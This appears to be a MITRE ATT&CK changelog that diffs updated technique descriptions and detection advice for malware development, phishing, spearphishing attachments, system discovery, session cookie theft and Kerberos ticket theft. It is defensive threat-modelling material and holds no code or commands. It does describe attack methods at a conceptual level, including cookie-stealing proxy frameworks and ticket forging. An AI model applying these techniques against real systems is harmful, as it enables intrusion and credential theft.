| > | with legitimate development efforts, different skill sets m | > | with legitimate development efforts, different skill sets m | ||
| > | ay be required for developing malware. The skills needed may | > | ay be required for developing malware. The skills needed may | ||
| > | be located in-house, or may need to be contracted out. Use | > | be located in-house, or may need to be contracted out. Use | ||
| > | of a contractor may be considered an extension of that adver | > | of a contractor may be considered an extension of that adver | ||
| > | sary's malware development capabilities, provided the advers | > | sary's malware development capabilities, provided the advers | ||
| > | ary plays a role in shaping requirements and maintains a deg | > | ary plays a role in shaping requirements and maintains a deg | ||
| > | ree of exclusivity to the malware. Some aspects of malware | > | ree of exclusivity to the malware. Some aspects of malware | ||
| > | development, such as C2 protocol development, may require ad | > | development, such as C2 protocol development, may require ad | ||
| > | versaries to obtain additional infrastructure. For example, | > | versaries to obtain additional infrastructure. For example, | ||
| > | malware developed that will communicate with Twitter for C2, | > | malware developed that will communicate with Twitter for C2, | ||
| > | may require use of [Web Services](https://attack.mitre.org/ | > | may require use of [Web Services](https://attack.mitre.org/ | ||
| > | techniques/T1583/006).(Citation: FireEye APT29) | > | techniques/T1583/006).(Citation: FireEye APT29) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 13:05:43.492000+00:00 | 2021-10-17 16:05:41.186000+00:00 |
| description | Before compromising a victim, adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors, packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) | Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.0 | 1.2 |
Current version: 2.4
Version changed from: 2.2 → 2.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-08 17:36:01.675000+00:00 | 2021-10-15 18:10:53.423000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Pod: Pod Metadata |
| x_mitre_data_sources[1] | GCP audit logs | Process: Process Creation |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_data_sources[3] | Azure activity logs | Group: Group Enumeration |
| x_mitre_data_sources[4] | Office 365 account logs | Group: Group Metadata |
| x_mitre_data_sources[5] | API monitoring | Application Log: Application Log Content |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview) |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | AWS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 2.2 | 2.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'K8s Authorization Overview', 'description': 'Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.', 'url': 'https://kubernetes.io/docs/reference/access-authn-authz/authorization/'} | |
| x_mitre_contributors | Daniel Prizmant, Palo Alto Networks | |
| x_mitre_contributors | Yuval Avrahami, Palo Alto Networks |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send phishing messages to gain access to vic | t | 1 | Adversaries may send phishing messages to gain access to vic |
| > | tim systems. All forms of phishing are electronically delive | > | tim systems. All forms of phishing are electronically delive | ||
| > | red social engineering. Phishing can be targeted, known as s | > | red social engineering. Phishing can be targeted, known as s | ||
| > | pearphishing. In spearphishing, a specific individual, compa | > | pearphishing. In spearphishing, a specific individual, compa | ||
| > | ny, or industry will be targeted by the adversary. More gene | > | ny, or industry will be targeted by the adversary. More gene | ||
| > | rally, adversaries can conduct non-targeted phishing, such a | > | rally, adversaries can conduct non-targeted phishing, such a | ||
| > | s in mass malware spam campaigns. Adversaries may send vict | > | s in mass malware spam campaigns. Adversaries may send vict | ||
| > | ims emails containing malicious attachments or links, typica | > | ims emails containing malicious attachments or links, typica | ||
| > | lly to execute malicious code on victim systems or to gather | > | lly to execute malicious code on victim systems. Phishing ma | ||
| > | credentials for use of [Valid Accounts](https://attack.mitr | > | y also be conducted via third-party services, like social me | ||
| > | e.org/techniques/T1078). Phishing may also be conducted via | > | dia platforms. Phishing may also involve social engineering | ||
| > | third-party services, like social media platforms. | > | techniques, such as posing as a trusted source. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Philip Winther'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:55:03.337000+00:00 | 2021-10-18 17:39:13.604000+00:00 |
| description | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems or to gather credentials for use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Phishing may also be conducted via third-party services, like social media platforms. | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source. |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Web proxy | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_detection | Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. | Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_data_sources | Anti-virus |
Current version: 3.2
Version changed from: 3.0 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of other systems by | t | 1 | Adversaries may attempt to get a listing of other systems by |
| > | IP address, hostname, or other logical identifier on a netw | > | IP address, hostname, or other logical identifier on a netw | ||
| > | ork that may be used for Lateral Movement from the current s | > | ork that may be used for Lateral Movement from the current s | ||
| > | ystem. Functionality could exist within remote access tools | > | ystem. Functionality could exist within remote access tools | ||
| > | to enable this, but utilities available on the operating sys | > | to enable this, but utilities available on the operating sys | ||
| > | tem could also be used such as [Ping](https://attack.mitre. | > | tem could also be used such as [Ping](https://attack.mitre. | ||
| > | org/software/S0097) or <code>net view</code> using [Net](htt | > | org/software/S0097) or <code>net view</code> using [Net](htt | ||
| > | ps://attack.mitre.org/software/S0039). Adversaries may also | > | ps://attack.mitre.org/software/S0039). Adversaries may also | ||
| > | use local host files (ex: <code>C:\Windows\System32\Drivers\ | > | use local host files (ex: <code>C:\Windows\System32\Drivers\ | ||
| > | etc\hosts</code> or <code>/etc/hosts</code>) in order to dis | > | etc\hosts</code> or <code>/etc/hosts</code>) in order to dis | ||
| > | cover the hostname to IP address mappings of remote systems. | > | cover the hostname to IP address mappings of remote systems. | ||
| > | Specific to macOS, the <code>bonjour</code> protocol exis | > | |||
| > | ts to discover additional Mac-based systems within the same | ||||
| > | broadcast domain. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 12:26:53.669000+00:00 | 2021-10-15 15:30:00.172000+00:00 |
| description | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems.
Specific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain. | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems.
|
| x_mitre_data_sources[0] | Network protocol analysis | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Process command-line parameters | File: File Access |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 3.0 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} | |
| x_mitre_contributors | Daniel Stepanic, Elastic |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious a | t | 1 | Adversaries may send spearphishing emails with a malicious a |
| > | ttachment in an attempt to gain access to victim systems. Sp | > | ttachment in an attempt to gain access to victim systems. Sp | ||
| > | earphishing attachment is a specific variant of spearphishin | > | earphishing attachment is a specific variant of spearphishin | ||
| > | g. Spearphishing attachment is different from other forms of | > | g. Spearphishing attachment is different from other forms of | ||
| > | spearphishing in that it employs the use of malware attache | > | spearphishing in that it employs the use of malware attache | ||
| > | d to an email. All forms of spearphishing are electronically | > | d to an email. All forms of spearphishing are electronically | ||
| > | delivered social engineering targeted at a specific individ | > | delivered social engineering targeted at a specific individ | ||
| > | ual, company, or industry. In this scenario, adversaries att | > | ual, company, or industry. In this scenario, adversaries att | ||
| > | ach a file to the spearphishing email and usually rely upon | > | ach a file to the spearphishing email and usually rely upon | ||
| > | [User Execution](https://attack.mitre.org/techniques/T1204) | > | [User Execution](https://attack.mitre.org/techniques/T1204) | ||
| > | to gain execution. There are many options for the attachmen | > | to gain execution. Spearphishing may also involve social eng | ||
| > | t such as Microsoft Office documents, executables, PDFs, or | > | ineering techniques, such as posing as a trusted source. Th | ||
| > | archived files. Upon opening the attachment (and potentially | > | ere are many options for the attachment such as Microsoft Of | ||
| > | clicking past protections), the adversary's payload exploit | > | fice documents, executables, PDFs, or archived files. Upon o | ||
| > | s a vulnerability or directly executes on the user's system. | > | pening the attachment (and potentially clicking past protect | ||
| > | The text of the spearphishing email usually tries to give a | > | ions), the adversary's payload exploits a vulnerability or d | ||
| > | plausible reason why the file should be opened, and may exp | > | irectly executes on the user's system. The text of the spear | ||
| > | lain how to bypass system protections in order to do so. The | > | phishing email usually tries to give a plausible reason why | ||
| > | email may also contain instructions on how to decrypt an at | > | the file should be opened, and may explain how to bypass sys | ||
| > | tachment, such as a zip file password, in order to evade ema | > | tem protections in order to do so. The email may also contai | ||
| > | il boundary defenses. Adversaries frequently manipulate file | > | n instructions on how to decrypt an attachment, such as a zi | ||
| > | extensions and icons in order to make attached executables | > | p file password, in order to evade email boundary defenses. | ||
| > | appear to be document files, or files exploiting one applica | > | Adversaries frequently manipulate file extensions and icons | ||
| > | tion appear to be a file for a different one. | > | in order to make attached executables appear to be document | ||
| > | files, or files exploiting one application appear to be a fi | ||||
| > | le for a different one. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Philip Winther'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:52:25.316000+00:00 | 2021-10-18 17:39:12.452000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. | Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Detonation chamber | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. | Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may steal web application or service session co | t | 1 | An adversary may steal web application or service session co |
| > | okies and use them to gain access web applications or Intern | > | okies and use them to gain access to web applications or Int | ||
| > | et services as an authenticated user without needing credent | > | ernet services as an authenticated user without needing cred | ||
| > | ials. Web applications and services often use session cookie | > | entials. Web applications and services often use session coo | ||
| > | s as an authentication token after a user has authenticated | > | kies as an authentication token after a user has authenticat | ||
| > | to a website. Cookies are often valid for an extended perio | > | ed to a website. Cookies are often valid for an extended pe | ||
| > | d of time, even if the web application is not actively used. | > | riod of time, even if the web application is not actively us | ||
| > | Cookies can be found on disk, in the process memory of the | > | ed. Cookies can be found on disk, in the process memory of t | ||
| > | browser, and in network traffic to remote systems. Additiona | > | he browser, and in network traffic to remote systems. Additi | ||
| > | lly, other applications on the targets machine might store s | > | onally, other applications on the targets machine might stor | ||
| > | ensitive authentication cookies in memory (e.g. apps which a | > | e sensitive authentication cookies in memory (e.g. apps whic | ||
| > | uthenticate to cloud services). Session cookies can be used | > | h authenticate to cloud services). Session cookies can be us | ||
| > | to bypasses some multi-factor authentication protocols.(Cita | > | ed to bypasses some multi-factor authentication protocols.(C | ||
| > | tion: Pass The Cookie) There are several examples of malwar | > | itation: Pass The Cookie) There are several examples of mal | ||
| > | e targeting cookies from web browsers on the local system.(C | > | ware targeting cookies from web browsers on the local system | ||
| > | itation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Ma | > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | ||
| > | c Crypto Cookies January 2019) There are also open source fr | > | Mac Crypto Cookies January 2019) There are also open source | ||
| > | ameworks such as Evilginx 2 and Muraena that can gather sess | > | frameworks such as Evilginx 2 and Muraena that can gather s | ||
| > | ion cookies through a man-in-the-middle proxy that can be se | > | ession cookies through a malicious proxy (ex: [Adversary-in- | ||
| > | t up by an adversary and used in phishing campaigns.(Citatio | > | the-Middle](https://attack.mitre.org/techniques/T1557)) that | ||
| > | n: Github evilginx2)(Citation: GitHub Mauraena) After an ad | > | can be set up by an adversary and used in phishing campaign | ||
| > | versary acquires a valid cookie, they can then perform a [We | > | s.(Citation: Github evilginx2)(Citation: GitHub Mauraena) A | ||
| > | b Session Cookie](https://attack.mitre.org/techniques/T1506) | > | fter an adversary acquires a valid cookie, they can then per | ||
| > | technique to login to the corresponding web application. | > | form a [Web Session Cookie](https://attack.mitre.org/techniq | ||
| > | ues/T1550/004) technique to login to the corresponding web a | ||||
| > | pplication. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-21 15:26:25.584000+00:00 | 2021-07-28 01:26:51.971000+00:00 |
| description | An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application. | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. |
| external_references[3]['description'] | Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. | Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to subvert Kerberos authentication b | t | 1 | Adversaries may attempt to subvert Kerberos authentication b |
| > | y stealing or forging Kerberos tickets to enable [Pass the T | > | y stealing or forging Kerberos tickets to enable [Pass the T | ||
| > | icket](https://attack.mitre.org/techniques/T1550/003). Ker | > | icket](https://attack.mitre.org/techniques/T1550/003). Kerbe | ||
| > | beros is an authentication protocol widely used in modern Wi | > | ros is an authentication protocol widely used in modern Wind | ||
| > | ndows domain environments. In Kerberos environments, referre | > | ows domain environments. In Kerberos environments, referred | ||
| > | d to as “realms”, there are three basic participants: client | > | to as “realms”, there are three basic participants: client, | ||
| > | , service, and Key Distribution Center (KDC).(Citation: ADSe | > | service, and Key Distribution Center (KDC).(Citation: ADSecu | ||
| > | curity Kerberos Ring Decoder) Clients request access to a se | > | rity Kerberos Ring Decoder) Clients request access to a serv | ||
| > | rvice and through the exchange of Kerberos tickets, originat | > | ice and through the exchange of Kerberos tickets, originatin | ||
| > | ing from KDC, they are granted access after having successfu | > | g from KDC, they are granted access after having successfull | ||
| > | lly authenticated. The KDC is responsible for both authentic | > | y authenticated. The KDC is responsible for both authenticat | ||
| > | ation and ticket granting. Attackers may attempt to abuse K | > | ion and ticket granting. Attackers may attempt to abuse Ker | ||
| > | erberos by stealing tickets or forging tickets to enable una | > | beros by stealing tickets or forging tickets to enable unaut | ||
| > | uthorized access. | > | horized access. On Windows, the built-in <code>klist</code> | ||
| > | utility can be used to list and analyze cached Kerberos tic | ||||
| > | kets.(Citation: Microsoft Klist) Linux systems on Active Di | ||||
| > | rectory domains store Kerberos credentials locally in the cr | ||||
| > | edential cache file referred to as the "ccache". The credent | ||||
